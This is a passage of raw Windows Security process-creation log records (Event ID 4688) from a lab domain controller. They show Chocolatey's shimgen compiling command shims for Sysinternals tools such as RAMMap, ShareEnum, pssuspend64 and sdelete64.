to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246830 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246829 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RegDelNull.exe" --output="C:\ProgramData\chocolatey\bin\RegDelNull.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RegDelNull.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246828 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd8c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES3EE.tmp" "c:\ProgramData\chocolatey\bin\CSC3D6C17FD92434A24A5921DE82B6518BC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246827 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd8c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246826 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RAMMap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_2081\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246825 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x288 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246824 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3c4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RAMMap.exe" --output="C:\ProgramData\chocolatey\bin\RAMMap.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RAMMap.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246823 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES303.tmp" "c:\ProgramData\chocolatey\bin\CSC2F16C66AEAB44F7681FB1AC4441258BD.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246822 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246821 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xafc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pssuspend64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_9894\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246867 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246866 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x7d4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ShareEnum.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_9425\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246865 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb50 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x7d4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246864 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7d4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ShareEnum.exe" --output="C:\ProgramData\chocolatey\bin\ShareEnum.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ShareEnum.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246863 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES9D9.tmp" "c:\ProgramData\chocolatey\bin\CSC131E5D043A1245D981B4CD86A9450B9.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246862 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246861 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe84 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sdelete64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_7237\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 